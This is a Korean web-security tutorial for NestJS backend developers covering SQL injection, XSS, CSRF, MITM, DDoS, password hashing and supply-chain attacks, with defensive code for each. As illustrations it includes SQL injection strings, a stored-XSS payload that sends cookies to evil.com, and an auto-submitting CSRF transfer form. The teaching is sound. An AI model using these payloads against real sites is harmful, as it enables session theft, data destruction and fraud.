콘텐츠로 이동

Web Security basics

분류: Layer 1 - 백엔드 기초 | 작성일: 2026-04-02

웹 보안(Web Security)이란 서버와 사용자 사이를 오가는 데이터와 시스템 자원을 악의적인 공격으로부터 보호하는 기술과 방법론의 총체다.


BackOps 엔지니어는 API 서버를 직접 만들고 운영한다. 내가 짠 코드가 SQL Injection 한 줄로 DB 전체가 유출되거나, 내 사용자의 세션이 탈취당하는 일이 실제로 일어난다. 2025년 OWASP 보고서에 따르면 31%의 기업 API가 여전히 Injection 취약점을 포함하고 있다.

보안은 “나중에 추가하는 기능”이 아니다. 코드를 처음 짤 때부터 왜 위험한지, 어떻게 막는지를 알고 있어야 실수를 하지 않는다. 이 문서에서 다루는 6가지 공격 유형은 OWASP Top 10 2025 기준으로 가장 빈번하게 발생하는 실전 위협들이다.



비유: 은행 직원에게 메모를 건네는 상황

“김철수 잔액 알려줘”라고 메모를 적어 창구에 냈더니, 직원이 그대로 컴퓨터에 타이핑한다. 만약 메모에 “김철수 잔액 알려줘; 그리고 모든 계좌 잔액도 알려줘”라고 적혀 있다면 어떻게 될까?

공격 원리

SQL Injection은 사용자 입력을 SQL 쿼리 문자열에 직접 이어 붙일 때 발생한다. 공격자가 입력 필드에 SQL 문법을 삽입해서 원래 의도와 전혀 다른 쿼리를 실행시킨다.

-- 정상 로그인 쿼리 (의도)
SELECT * FROM users WHERE email = 'user@example.com' AND password = 'secret';
-- 공격자가 email 필드에 다음을 입력: ' OR​ '1'='1
SELECT * FROM users WHERE email = '' OR​ '1'='1' AND password = 'anything';
-- 결과: WHERE 조건이 항상 true → 인증 우회

취약한 코드 vs 안전한 코드

// ❌ 취약한 코드: 문자열 직접 연결
async findUser(email: string) {
const query = `SELECT * FROM users WHERE email = '${email}'`;
return await this.dataSource.query(query);
// 공격자가 email = "'; DROP​ TABLE users; --" 를 넣으면 테이블 삭제
}
// ✅ 안전한 코드: TypeORM Parameterized Query
async findUser(email: string) {
return await this.userRepository
.createQueryBuilder('user')
.where('user.email = :email', { email }) // :email은 SQL 문법으로 해석 안 됨
.getOne();
}
// ✅ 또는 TypeORM Repository 메서드 사용 (자동으로 파라미터 바인딩)
async findUser(email: string) {
return await this.userRepository.findOne({ where: { email } });
}

예상 출력 (안전한 코드 실행 시)

-- 실제로 DB에 전달되는 쿼리
SELECT * FROM "user" WHERE "user"."email" = $1
-- $1 에 'user@example.com' 문자열이 값으로 바인딩됨
-- 공격 문자열이 들어와도 SQL 문법이 아닌 '데이터'로만 처리

NestJS 실무 주의점

  • createQueryBuilder에서 .where(\email = ’${email}’`)형태로 템플릿 리터럴을 직접 사용하면 파라미터 바인딩이 **무력화**된다. 반드시:paramName` 바인딩 문법을 써야 한다.
  • Raw 쿼리가 꼭 필요한 경우에는 this.dataSource.query('SELECT * FROM users WHERE email = $1', [email]) 형태로 반드시 두 번째 배열 인자를 사용한다.
  • class-validator@IsEmail(), @IsString() 등 DTO 유효성 검사를 반드시 적용한다. 형식이 맞지 않는 입력은 DB에 닿기 전에 차단한다.

비유: 게시판에 ‘자폭 메모’ 붙여놓기

공공 게시판에 누군가 메모를 붙였는데, 그 메모에 “이 메모를 읽는 사람의 지갑을 가져가시오”라는 지시가 적혀 있다. 다음 사람이 메모를 읽는 순간 지갑을 잃는다. 브라우저가 HTML을 ‘읽는’ 순간 악성 스크립트가 실행되는 것과 같다.

세 가지 XSS 유형

유형공격 방식지속성
Stored XSS악성 스크립트를 DB에 저장 → 다른 사용자가 조회할 때 실행DB에 영구 저장
Reflected XSS악성 스크립트를 URL 파라미터에 포함 → 피해자가 링크 클릭 시 실행일회성
DOM-based XSSJavaScript가 DOM을 직접 조작하는 과정에서 발생클라이언트 사이드

Stored XSS 시나리오

1. 공격자가 게시글 내용에 다음을 입력:
<scr​ipt>document.location='https://evil.com/steal?cookie='+document.cookie</scr​ipt>
2. 서버가 그대로 DB에 저장
3. 다른 사용자가 게시글을 열람
4. 브라우저가 HTML을 렌더링하면서 <scr​ipt> 태그 실행
5. 피해자의 세션 쿠키가 evil.com으로 전송 → 계정 탈취

NestJS helmet 미들웨어와 CSP

main.ts
import helmet from "helmet";
async function bootstrap() {
const app = await NestFactory.create(AppModule);
// helmet이 자동으로 보안 헤더 7개 이상 설정
app.use(
helmet({
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"], // 기본: 같은 도메인만 허용
scriptSrc: ["'self'"], // 스크립트: 같은 도메인만 허용 (인라인 스크립트 차단)
styleSrc: ["'self'", "'unsafe-inline'"], // 스타일: CDN 허용 필요 시 추가
imgSrc: ["'self'", "data:", "https:"], // 이미지: HTTPS 전체 허용
connectSrc: ["'self'"],
},
},
}),
);
await app.listen(3000);
}

예상 응답 헤더 (helmet 적용 후)

Content-Security-Policy: default-src 'self'; script-src 'self'; ...
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 0 ← 최신 브라우저는 이 헤더 대신 CSP로 방어
Strict-Transport-Security: max-age=15552000; includeSubDomains

프론트엔드에서 흔히 만드는 XSS 취약 패턴

백엔드에서 이스케이프를 해도 프론트엔드에서 다시 취약점을 만들 수 있다. React에서 dangerouslySetInnerHTML={{ __html: userInput }}을 사용하면 React의 자동 이스케이프를 우회해 악성 스크립트가 그대로 삽입된다. 바닐라 JS의 element.innerHTML = userInput도 마찬가지다. eval(userInput), setTimeout(userInput, 0) 같이 문자열을 코드로 실행하는 패턴 역시 공격 경로가 된다. 사용자 입력을 DOM에 삽입할 때는 반드시 textContent를 사용하거나 DOMPurify 같은 sanitize 라이브러리를 거쳐야 한다.

CSP(Content Security Policy)가 XSS를 막는 원리

CSP는 브라우저에게 “이 페이지에서 실행 가능한 스크립트의 출처 목록”을 알려주는 HTTP 헤더다. script-src 'self'로 설정하면, 공격자가 <script> 태그를 주입해도 브라우저가 같은 도메인이 아닌 스크립트를 아예 실행 거부한다.

⚠️ CSP 경계 조건 — 이렇게 하면 방어가 무력화된다

잘못된 설정결과올바른 대안
script-src 'unsafe-inline'인라인 <script> 전부 허용 → XSS 방어 전체 무력화nonce 또는 hash 기반으로 교체
script-src 'unsafe-eval'eval(), setTimeout(str) 허용 → DOM XSS 경로 열림해당 지시어 제거, 코드 구조 개선
script-src *모든 외부 도메인 스크립트 허용 → CDN 오염 시 무방비허용 도메인을 명시적으로 열거

출처: OWASP CSP Cheat Sheet

⚠️ Silent Failure — CSP report-only 모드의 함정

// 주의: reportOnly: true 는 정책을 '모니터링만' 한다. 실제 차단 없음.
app.use(
helmet({
contentSecurityPolicy: {
useDefaults: true,
reportOnly: true, // ← 위반을 기록하지만 스크립트 실행은 허용!
},
}),
);
// 증상: 에러 없음. 콘솔에 Report-Only 경고만 출력.
// 발견 방법: 응답 헤더가 Content-Security-Policy-Report-Only 인지 확인
// curl -I http://localhost:3000/ | grep -i content-security

reportOnly: true는 배포 전 CSP 정책을 테스트할 때만 사용하고, 프로덕션에서는 반드시 false(기본값)로 설정해야 실제 차단이 된다.


비유: 은행 직원을 사칭한 가짜 버튼

로그인된 은행 사이트를 켜놓고, 악성 쇼핑몰을 방문했다. 쇼핑몰에 “경품 받기” 버튼이 있는데, 실제로는 은행 서버에 “100만원 송금” 요청을 보내는 HTML 폼이다. 쿠키가 자동으로 전송되므로 은행 서버는 정상 요청으로 인식한다.

공격 원리

<!-- 악성 사이트의 숨겨진 폼 -->
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="attacker_account" />
<input type="hidden" name="amount" value="1000000" />
</form>
<scr​ipt> document.forms[0].submit(); </scr​ipt>
<!-- 사용자가 bank.com에 로그인된 상태라면, 브라우저가 세션 쿠키를 자동 첨부 → 서버는 정상 요청으로 처리 -->

방어 1: SameSite 쿠키

// NestJS 세션/쿠키 설정
res.cookie("session", token, {
httpOnly: true, // JavaScript에서 접근 불가
secure: true, // HTTPS에서만 전송
sameSite: "lax", // 외부 사이트에서 GET 요청은 허용, POST는 차단
// sameSite: 'strict' // 외부 사이트에서 오는 모든 요청에 쿠키 비전송 (강력)
});
SameSite 옵션외부 사이트 GET외부 사이트 POST적합한 상황
None허용허용(취약, CSRF 방어 없음)
Lax허용차단일반 서비스 (기본값)
Strict차단차단금융/보안 서비스

⚠️ SameSite 경계 조건과 Silent Failure 케이스

[경계 조건 1] SameSite=Lax에서 GET으로 상태 변경 API를 만들면 CSRF 취약
- Lax는 외부 사이트의 GET 요청에 쿠키를 허용한다
- GET /api/user/delete?id=1 같은 패턴은 CSRF 공격에 노출
- 해결: 상태 변경 작업은 반드시 POST/PUT/DELETE 메서드 사용
[경계 조건 2] SameSite=None + Secure 없음 → 쿠키 전송 자체가 차단됨
- SameSite=None은 반드시 Secure 속성과 함께 써야 한다 (브라우저 강제)
- HTTPS 없이 SameSite=None을 설정하면 크롬/파이어폭스가 쿠키를 거부
- 증상: 에러 없이 쿠키가 전송되지 않음 → 인증 세션이 무효
- 발견 방법: DevTools > Application > Cookies 탭에서 경고 아이콘 확인
[경계 조건 3] 레거시 브라우저 폴백 (iOS Safari < 13.2, Android Browser < 97)
- 일부 구형 브라우저는 SameSite=None을 알 수 없는 값으로 처리해 Strict로 폴백
- 결과: OAuth 리디렉션, 외부 결제 후 복귀 등 정상 크로스사이트 흐름이 차단
- 해결: 레거시 브라우저 지원이 필요한 경우 User-Agent 기반 폴백 로직 추가

출처: MDN SameSite cookies, OWASP SameSite

방어 2: CSRF 토큰

main.ts
// NestJS + csurf 미들웨어 (전통적인 방식)
import * as csurf from 'csurf';
app.use(cookieParser());
app.use(csurf({ cookie: { sameSite: true } }));
// controller에서 CSRF 토큰 발급
@Get('form')
getForm(@Req() req, @Res() res) {
res.json({ csrfToken: req.csrfToken() });
// 응답: { "csrfToken": "abc123xyz..." }
}
// 클라이언트는 이 토큰을 헤더에 포함시켜야 POST 요청 가능
// X-CSRF-Token: abc123xyz...

CSRF 토큰 원리: 서버가 발급한 랜덤 토큰을 클라이언트가 헤더에 담아 전송. 외부 사이트는 이 토큰을 알 수 없으므로 위조 요청 불가.

방어 2 심화: CSRF 토큰 동작 원리와 Double Submit Cookie 패턴

CSRF 토큰이 왜 외부 사이트에서는 통하지 않는가를 이해하는 것이 핵심이다.

[정상 흐름]
1. 사용자가 myapp.com/form 접속
→ 서버가 CSRF 토큰 발급: csrfToken = "abc123xyz"
→ 쿠키에 저장: Set-Cookie: _csrf=abc123xyz; HttpOnly
→ HTML 폼의 hidden 필드에도 삽입: <input name="_csrf" value="abc123xyz">
2. 사용자가 폼 제출
→ 브라우저: 쿠키 + 폼 필드의 토큰 함께 전송
→ 서버: 쿠키의 _csrf == 폼의 _csrf 인지 비교 → 일치하면 처리
[공격자 흐름]
1. evil.com이 myapp.com으로 POST를 위조
→ 쿠키는 자동 전송 (SameSite 미설정 시)
→ 단, HTML 폼의 _csrf 토큰은 evil.com이 읽을 수 없음
(Same-Origin Policy: 다른 출처의 응답은 JS로 읽기 불가)
→ 서버: 토큰 없음 → 요청 거부

NestJS + csrf-csrf 패키지 (2025년 권장 방식, csurf 대체)

csurf는 deprecated 상태다. 2025년 기준 NestJS에서는 csrf-csrf 패키지를 사용하는 것이 권장된다.

Terminal window
npm install csrf-csrf cookie-parser
main.ts
import * as cookieParser from "cookie-parser";
import { doubleCsrf } from "csrf-csrf";
async function bootstrap() {
const app = await NestFactory.create(AppModule);
app.use(cookieParser());
const { doubleCsrfProtection, generateToken } = doubleCsrf({
getSecret: () => process.env.CSRF_SECRET, // 최소 32자 랜덤 문자열
cookieName: "__Host-psifi.x-csrf-token", // __Host- 접두사로 보안 강화
cookieOptions: {
secure: process.env.NODE_ENV === "production",
sameSite: "lax",
httpOnly: true,
},
size: 64,
ignoredMethods: ["GET", "HEAD", "OPTIONS"], // 읽기 요청은 검증 제외
});
// CSRF 보호 적용
app.use(doubleCsrfProtection);
await app.listen(3000);
}
// auth.controller.ts — CSRF 토큰 발급 엔드포인트
import { generateToken } from "csrf-csrf";
@Controller("auth")
export class AuthController {
@Get("csrf-token")
getCsrfToken(@Req() req, @Res() res) {
const csrfToken = generateToken(req, res);
return res.json({ csrfToken });
// 응답: { "csrfToken": "a1b2c3d4e5f6..." }
}
}
// 클라이언트(React)에서 CSRF 토큰 사용
async function submitForm(data) {
// 1. 먼저 CSRF 토큰 획득
const { csrfToken } = await fetch("/auth/csrf-token").then((r) => r.json());
// 2. 상태 변경 요청 시 X-CSRF-Token 헤더에 포함
const response = await fetch("/orders", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-CSRF-Token": csrfToken, // ← 이 헤더가 없으면 403
},
credentials: "include", // 쿠키 포함
body: JSON.stringify(data),
});
}

예상 동작:

Terminal window
# 올바른 CSRF 토큰 포함 요청
curl -X POST http://localhost:3000/orders \
-H "X-CSRF-Token: a1b2c3d4e5f6..." \
-H "Cookie: __Host-psifi.x-csrf-token=<서버측쿠키>" \
-H "Content-Type: application/json" \
-d '{"productId": 1}'
# → 201 Created
# CSRF 토큰 없이 요청
curl -X POST http://localhost:3000/orders \
-H "Cookie: session=..." \
-H "Content-Type: application/json" \
-d '{"productId": 1}'
# → 403 Forbidden: {"message":"invalid csrf token"}

📖 더 보기: CSRF Protection in NestJS — CodingEasyPeasycsrf-csrf 패키지로 NestJS에 CSRF 보호를 구현하는 단계별 가이드 (중급)

2025년 현황: 모던 SPA(React/Vue) + JWT 방식에서는 쿠키 대신 Authorization 헤더를 사용하므로 CSRF 공격 자체가 성립하지 않는다. 단, 쿠키 기반 인증을 사용하는 경우 반드시 SameSite + CSRF 토큰을 적용해야 한다.


비유: 중간에 끼어든 가짜 우체부

나와 친구가 편지를 주고받는데, 중간에 누군가 편지를 가로채 읽고, 내용을 바꾼 뒤 다시 보낸다. 나도 친구도 이 사실을 모른다. HTTP 평문 통신이 이런 상태다.

공격 원리

공격자가 클라이언트-서버 사이에 물리적/네트워크적으로 끼어들어 트래픽을 도청하거나 변조한다. 공공 Wi-Fi, ARP 스푸핑, DNS 스푸핑 등이 대표적인 수법이다.

[클라이언트] --평문 HTTP--> [공격자] ---> [서버]
도청 가능
내용 변조 가능
자격증명 탈취 가능

HTTPS가 MITM을 방어하는 원리

[클라이언트] ←─ TLS 핸드셰이크 ─→ [서버]
1. 서버가 인증서(Certificate)를 제시
- 인증서에는 서버의 공개키 + CA(인증기관)의 디지털 서명 포함
2. 클라이언트가 인증서의 CA 서명을 검증
- 브라우저/OS에 내장된 신뢰할 수 있는 루트 CA 목록과 대조
- 서명이 유효하면 → 서버가 진짜임을 확인
3. TLS 핸드셰이크로 세션 키 교환
- 이후 모든 통신은 이 세션 키로 암호화
- 공격자는 암호화된 트래픽을 가로채도 복호화 불가
4. 공격자가 중간에 가짜 인증서를 제시하면
- CA 서명 검증 실패
- 브라우저가 "인증서 오류" 경고 표시 → 사용자에게 알림

NestJS/Node.js 실무: HTTPS 강제 리디렉션

// main.ts - HTTPS가 아닌 요청을 강제 리디렉션
app.use((req, res, next) => {
if (
req.headers["x-forwarded-proto"] !== "https" &&
process.env.NODE_ENV === "production"
) {
return res.redirect(301, `https://${req.headers.host}${req.url}`);
}
next();
});
// helmet의 HSTS 헤더로 브라우저에게 "항상 HTTPS만 사용하라" 지시
app.use(
helmet({
strictTransportSecurity: {
maxAge: 31536000, // 1년 동안 HTTPS 강제
includeSubDomains: true, // 서브도메인 포함
preload: true,
},
}),
);

비유: 가짜 손님으로 식당 마비시키기

경쟁 식당 주인이 알바를 1000명 고용해서 내 식당에 앉게 했다. 실제로 음식을 주문하지 않고 자리만 차지한다. 진짜 손님이 와도 자리가 없어 못 들어온다. 서버가 처리할 수 없을 만큼 많은 요청을 보내 정상 서비스를 불가능하게 만드는 것이 DDoS다.

L3/L4 vs L7 DDoS 차이

구분공격 계층공격 방식특징
L3 (네트워크)IP 레벨ICMP Flood, IP Fragment단순 대용량 트래픽으로 대역폭 소진
L4 (전송)TCP/UDPSYN Flood, UDP Flood연결 요청만 보내고 응답 무시 → 서버의 연결 테이블 고갈
L7 (애플리케이션)HTTP/HTTPSHTTP Flood, Slowloris정상적인 HTTP 요청처럼 보이는 공격 → 차단이 어려움

L4 SYN Flood 동작 원리

정상 TCP 3-way Handshake:
클라이언트 → SYN → 서버 (연결 요청)
클라이언트 ← SYN-ACK ← 서버 (수락)
클라이언트 → ACK → 서버 (확인)
SYN Flood 공격:
공격자 → SYN (가짜 IP) → 서버
← SYN-ACK ← 서버 (서버가 응답 대기 상태로 자원 할당)
→ (ACK 없음) 공격자는 ACK를 보내지 않음
결과: 서버의 연결 대기 테이블(backlog queue)이 가득 참 → 정상 연결 불가

AWS Shield / WAF 방어 개요

[인터넷] → [AWS Shield Standard] → [AWS WAF] → [EC2/ALB/CloudFront]
AWS Shield Standard (무료, 자동 적용):
- L3/L4 공격 자동 탐지 및 차단
- SYN Flood, UDP Reflection 등 방어
- 모든 AWS 리소스에 기본 적용
AWS Shield Advanced ($3,000/월):
- L7 DDoS 방어 추가 (HTTP Flood)
- 24/7 DDoS Response Team (DRT) 지원
- 공격 중 비용 증가분 보호 (cost protection)
- 실시간 공격 가시성 대시보드
AWS WAF (별도 과금):
- L7 레벨 커스텀 룰 설정 (IP 차단, Rate Limiting, SQL Injection/XSS 패턴 차단)
- 예: "동일 IP에서 1분에 1000건 이상 요청 시 차단"
- Managed Rule Group: AWS가 관리하는 보안 룰 세트 구독 가능

3-6. Hashing & Salting (패스워드 보안)

섹션 제목: “3-6. Hashing & Salting (패스워드 보안)”

비유: 지문으로 신원 확인하기

경찰이 범인의 지문을 찾았다. 지문만으로 원래 손가락 모양을 완벽히 재현할 수는 없지만, “이 지문과 일치하는가”는 확인할 수 있다. 해시는 이처럼 단방향 변환이다. 원문을 알 수 없어도 비교는 가능하다.

SHA-256 vs BCrypt 차이

항목SHA-256BCrypt
목적데이터 무결성 검증 (파일, JWT 서명 등)패스워드 저장
속도매우 빠름 (GPU로 초당 수억 회 연산 가능)의도적으로 느림 (비용 인수로 조절)
Salt없음 (같은 입력 → 항상 같은 해시)자동 내장
GPU 공격 저항성없음있음 (메모리 집약적)
패스워드 저장 적합❌ 절대 사용 금지✅ 권장

Salt와 Stretching 원리

Salt: 각 패스워드마다 랜덤 문자열 추가
→ "password"를 두 사람이 사용해도 해시가 다름
→ 레인보우 테이블 공격(사전 계산된 해시 테이블) 무력화
Stretching (Key Stretching): 해시를 수천~수만 번 반복
→ 공격자가 비밀번호 하나를 추측하는 데 걸리는 시간을 의도적으로 증가
→ BCrypt의 cost factor = 2^cost 번 반복 (cost=12이면 2^12=4096회)

NestJS bcrypt 코드 + 예상 출력

import * as bcrypt from 'bcrypt';
// --- 패스워드 저장 ---
async hashPassword(plainPassword: string): Promise<string> {
const saltRounds = 12; // cost factor: 높을수록 안전하나 느림 (12~14 권장)
const hashedPassword = await bcrypt.hash(plainPassword, saltRounds);
return hashedPassword;
}
// --- 패스워드 검증 ---
async verifyPassword(plainPassword: string, hashedPassword: string): Promise<boolean> {
return await bcrypt.compare(plainPassword, hashedPassword);
}
// --- 사용 예시 ---
const hash = await hashPassword('mySecret123!');
console.log(hash);
// 예상 출력:
// $2b$12$9kJ8sLq2mNpXvT3wRdE4OuNzQmP5vKlGhA7iBxCdEfGh1JkLmNoP
// ↑ ↑↑ ↑
// 알고리즘 버전($2b$)
// cost factor(12)
// salt(22자) + hash(31자) 합쳐서 60자 문자열
const isValid = await verifyPassword('mySecret123!', hash);
console.log(isValid); // true
const isInvalid = await verifyPassword('wrongPassword', hash);
console.log(isInvalid); // false

⚠️ bcrypt Silent Failure — 72바이트 truncation 함정

bcrypt는 Blowfish 암호화 기반으로, 입력을 72바이트에서 조용히 잘라낸다. 이 제한은 스펙에 의한 동작이지만 보안상 심각한 결과를 낳는다.

문제 상황:
password_A = "correct-horse-battery-staple-this-is-a-very-long-secure-password-12345" (72바이트 이상)
password_B = "correct-horse-battery-staple-this-is-a-very-long-secure-password-67890" (72바이트까지 동일)
bcrypt.hash(password_A) === bcrypt.hash(password_B) // true!
→ 다른 패스워드인데 동일한 해시 생성 → 인증 우회 가능
실제 사례: CVE-2025-68402 (FreshRSS)
- bcrypt 72바이트 truncation으로 인해 패스워드 검증이 우회됨
- 공격자가 72바이트 접두사가 동일한 임의 문자열로 로그인 성공
추가 주의: UTF-8에서 한글/이모지는 1글자 = 2~4바이트
→ 한글 24자 패스워드는 이미 72바이트(3×24=72)에 도달
// 방어 1: 72바이트 초과 입력 거부 (단순, 사용성 제한)
async hashPassword(plainPassword: string): Promise<string> {
if (Buffer.byteLength(plainPassword, 'utf8') > 72) {
throw new Error('Password exceeds bcrypt maximum length');
}
return await bcrypt.hash(plainPassword, 12);
}
// 방어 2: pre-hash 패턴 (SHA-256 → bcrypt) — 긴 패스워드 허용 시
// 주의: pre-hash 자체에도 설계 트레이드오프가 있으므로 새 프로젝트는 Argon2id 사용 권장
import * as crypto from 'crypto';
async hashPasswordLong(plainPassword: string): Promise<string> {
const prehashed = crypto.createHash('sha256').update(plainPassword).digest('base64');
return await bcrypt.hash(prehashed, 12); // 항상 44바이트로 고정
}

출처: FreshRSS CVE-2025-68402, WebProNews: Bcrypt’s 72-Byte Trap

2025년 권장 사항: Argon2id

OWASP 2025 권장 기준으로 Argon2id가 BCrypt보다 우수한 패스워드 해싱 알고리즘이다. GPU/ASIC 공격에 더 강한 메모리 집약적 설계를 갖추고 있다.

import * as argon2 from "argon2";
// Argon2id 권장 설정 (OWASP 2025)
const hashedPassword = await argon2.hash(plainPassword, {
type: argon2.argon2id,
memoryCost: 19456, // 19 MiB
timeCost: 2, // 2 iterations
parallelism: 1,
});
// 검증
const isValid = await argon2.verify(hashedPassword, plainPassword);

실무 선택 가이드: 새 프로젝트는 Argon2id를 사용한다. 기존 bcrypt 프로젝트는 cost factor 12+ 유지 상태에서 운영하고, 대규모 리팩토링 시 Argon2id로 마이그레이션을 고려한다.


3-7. 공급망 공격(Supply Chain Attack) — OWASP 2025 신규 항목

섹션 제목: “3-7. 공급망 공격(Supply Chain Attack) — OWASP 2025 신규 항목”

비유: 납품업체 직원이 제품에 독을 넣는 것

슈퍼마켓의 보안이 아무리 철저해도, 납품업체 직원이 제품을 생산 단계에서 오염시키면 막을 수 없다. npm 패키지가 바로 이 납품업체에 해당한다.

왜 2025년 OWASP에 신규 추가됐는가

OWASP 2025에서 A03: Software Supply Chain Failures가 새로 추가됐다. 2021~2024년 사이 npm 생태계의 공급망 공격이 급증했기 때문이다. 대표적인 사례:

  • event-stream 패키지 (2018): 1주 만에 800만 다운로드, 비트코인 지갑 탈취 코드 삽입
  • xz-utils (2024): 리눅스 핵심 라이브러리에 2년간 백도어 삽입 시도
  • polyfill.io (2024): CDN 공급망 오염으로 10만+ 사이트에 악성 코드 배포

공격 원리

공격 시나리오:
1. 공격자가 npm에 'lodash-utils' 같은 인기 패키지와 비슷한 이름 등록 (Typosquatting)
또는 오픈소스 메인테이너 계정을 탈취해서 정상 패키지에 악성 코드 삽입
2. npm install 시 의존성 트리를 통해 자동 설치됨
(직접 설치하지 않아도, A가 B를 쓰고 B가 C를 쓰면 C까지 포함)
3. 악성 코드가 빌드 시 또는 런타임에 실행
- 환경변수 탈취 (AWS 자격증명, DB 패스워드)
- 원격 쉘 오픈
- 암호화폐 채굴

NestJS 프로젝트에서 공급망 공격 방어

Terminal window
# 1. npm audit — 알려진 취약점 검사
npm audit
# 예상 출력:
# found 3 vulnerabilities (1 moderate, 2 high)
# run `npm audit fix` to fix them
npm audit fix # 자동 수정 가능한 것 수정
npm audit fix --force # Breaking change 포함 강제 수정 (주의)
# 2. 의존성 트리 확인 — 어디서 왔는지 추적
npm ls lodash
# my-app@1.0.0
# └── @nestjs/common@10.0.0
# └── lodash@4.17.21 ← 직접 설치 안 했어도 의존성으로 포함
# 3. package-lock.json의 integrity 해시 — 패키지 무결성 보장
# lock 파일에 sha512 해시가 있으면 패키지가 변조되지 않았음을 보장
cat package-lock.json | grep -A2 '"lodash"'
# "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
# "integrity": "sha512-v2kDE0LHPc..." ← 이 해시가 바뀌면 설치 거부
# GitHub Actions — npm audit를 CI 파이프라인에 통합
- name: Security audit
run: npm audit --audit-level=high
# high 이상 취약점 발견 시 파이프라인 중단
Terminal window
# 4. Snyk / Socket — 더 강력한 공급망 분석
npx snyk test
# 예상 출력:
# Testing my-app...
# ✓ Tested 247 dependencies for known issues
# Found 1 issue:
# ✗ High severity vulnerability found in express
# Description: Open Redirect
# Fix: Upgrade to express@4.19.2
# Socket (공급망 특화) — 패키지 행동 분석
npx socket npm install lodash
# ✓ No supply chain issues detected
# 또는: ⚠ This package reads environment variables (suspicious)

package-lock.json이 왜 반드시 커밋되어야 하는가:

package-lock.json 없이 npm install하면 package.json^4.17.0 같은 범위 버전에서 최신 버전을 받는다. 공격자가 4.17.1에 악성 코드를 심으면 다음 npm install에서 자동으로 받게 된다. lock 파일이 있으면 항상 정확한 버전과 해시를 기준으로 설치된다.


3-8. 횡단적 보안 원리 — 모든 공격에 공통으로 적용되는 원칙

섹션 제목: “3-8. 횡단적 보안 원리 — 모든 공격에 공통으로 적용되는 원칙”

앞서 다룬 6가지 공격 유형은 각각 다른 기법을 사용하지만, 그 근저에는 공통된 원리가 흐른다. 이 원리를 이해하면 새로운 공격 유형을 접할 때도 빠르게 방어 전략을 도출할 수 있다.

원리 1: 입력 검증 (Input Validation) — 신뢰하지 말고 검증하라

섹션 제목: “원리 1: 입력 검증 (Input Validation) — 신뢰하지 말고 검증하라”

모든 외부 입력은 잠재적 공격 벡터다. 입력을 ‘사용’하기 전에 ‘형식과 범위를 검증’하는 것이 첫 번째 방어선이다.

공격 유형입력 검증 부재의 결과검증 적용 예시
SQL Injection사용자 입력이 SQL 명령어로 해석DTO @IsEmail() → TypeORM 파라미터 바인딩
XSS사용자 입력이 HTML/JS로 해석출력 시 이스케이프, DOMPurify sanitize
Command Injection사용자 입력이 셸 명령어로 실행입력 허용 목록(allowlist) 기반 검증
CSRF외부 출처의 요청을 내부 요청으로 신뢰Origin/Referer 헤더 검증 + CSRF 토큰

원리 2: 신뢰 경계 (Trust Boundary) — 경계를 명확히 정의하라

섹션 제목: “원리 2: 신뢰 경계 (Trust Boundary) — 경계를 명확히 정의하라”

신뢰 경계는 “어디서 오는 데이터를 어느 수준으로 신뢰할 것인가”를 정의하는 개념이다.

[외부 인터넷] --- (불신 영역) --→ [API 게이트웨이] --- (검증 완료) --→ [내부 서비스]
신뢰 경계선
여기서 인증/검증이 이루어져야 함
핵심 원칙:
- 클라이언트 데이터는 항상 불신 (브라우저 검증은 UX용, 보안용 아님)
- 내부 서비스라도 직접 외부에 노출되면 동일한 검증 필요
- 데이터가 경계를 넘을 때마다 재검증

원리 3: 최소 권한 (Principle of Least Privilege)

섹션 제목: “원리 3: 최소 권한 (Principle of Least Privilege)”

필요한 최소한의 권한만 부여한다. 침해가 발생해도 피해 범위를 제한한다.

영역최소 권한 적용 예
DB 계정앱 DB 계정은 SELECT/INSERT/UPDATE만 허용, DROP 권한 없음
API 응답응답에 필요한 필드만 포함 (비밀번호 해시, 내부 ID 제외)
파일 시스템앱이 쓰는 디렉터리만 쓰기 권한, 시스템 파일 읽기 불가
쿠키httpOnly: true로 JS 접근 차단, secure: true로 HTTPS만 전송

원리 4: Defense in Depth (심층 방어) — 단일 방어선을 믿지 마라

섹션 제목: “원리 4: Defense in Depth (심층 방어) — 단일 방어선을 믿지 마라”

단 하나의 방어 메커니즘이 실패해도 전체 시스템이 무너지지 않도록 여러 레이어를 쌓는다.

XSS 방어 레이어 예시:
레이어 1. 입력 시: DTO validation (형식 검증)
레이어 2. 저장 시: 위험 HTML 태그 sanitize
레이어 3. 출력 시: 컨텍스트 기반 이스케이프 (HTML/JS/CSS/URL 각각 다름)
레이어 4. 브라우저: CSP 헤더 — 실행 자체를 차단
→ 레이어 2에서 sanitize를 빠뜨려도 레이어 3과 4가 방어
→ 레이어 3의 이스케이프 버그가 있어도 레이어 4(CSP)가 실행 차단

출처: OWASP ASVS (Application Security Verification Standard), OWASP Top 10 2021 Proactive Controls


NestJS 보안 설정 체크리스트 (프로덕션 기준)

// main.ts - 실무 보안 설정 통합 예시
import helmet from "helmet";
import * as cookieParser from "cookie-parser";
import { rateLimit } from "express-rate-limit";
async function bootstrap() {
const app = await NestFactory.create(AppModule);
// 1. 보안 헤더 (XSS, Clickjacking, MIME 스니핑 방어)
app.use(helmet());
// 2. CORS 설정 (허용된 출처만 접근 가능)
app.enableCors({
origin: process.env.ALLOWED_ORIGINS?.split(",") ?? ["https://myapp.com"],
credentials: true,
// ⚠️ 경계 조건: origin: '*' + credentials: true 는 브라우저가 차단 (CORS 스펙 위반)
// credentials 사용 시 반드시 명시적 도메인을 origin에 지정해야 함
});
// 3. 전역 유효성 검사 파이프 (SQL Injection 1차 방어)
app.useGlobalPipes(
new ValidationPipe({
whitelist: true, // DTO에 없는 필드 자동 제거
forbidNonWhitelisted: true, // 알 수 없는 필드 요청 거부
transform: true,
}),
);
// 4. Rate Limiting (DDoS/브루트포스 방어)
app.use(
rateLimit({
windowMs: 15 * 60 * 1000, // 15분
max: 100, // IP당 최대 100 요청
message: "Too many requests from this IP",
}),
);
await app.listen(3000);
}

OWASP Top 10 2025와 이 문서의 연관성

2025년 개정판에서 가장 큰 변화: Security Misconfiguration이 5위에서 2위로 상승했고, A03: Software Supply Chain Failures(공급망 공격), A10: Mishandling of Exceptional Conditions(예외 처리 미흡) 두 가지 카테고리가 신규 추가되었다. Injection은 #3에서 #5로 하락했는데, 이는 파라미터 바인딩·ORM 사용 등 업계 관행이 개선되었기 때문이다.

OWASP 2025 항목이 문서의 관련 섹션
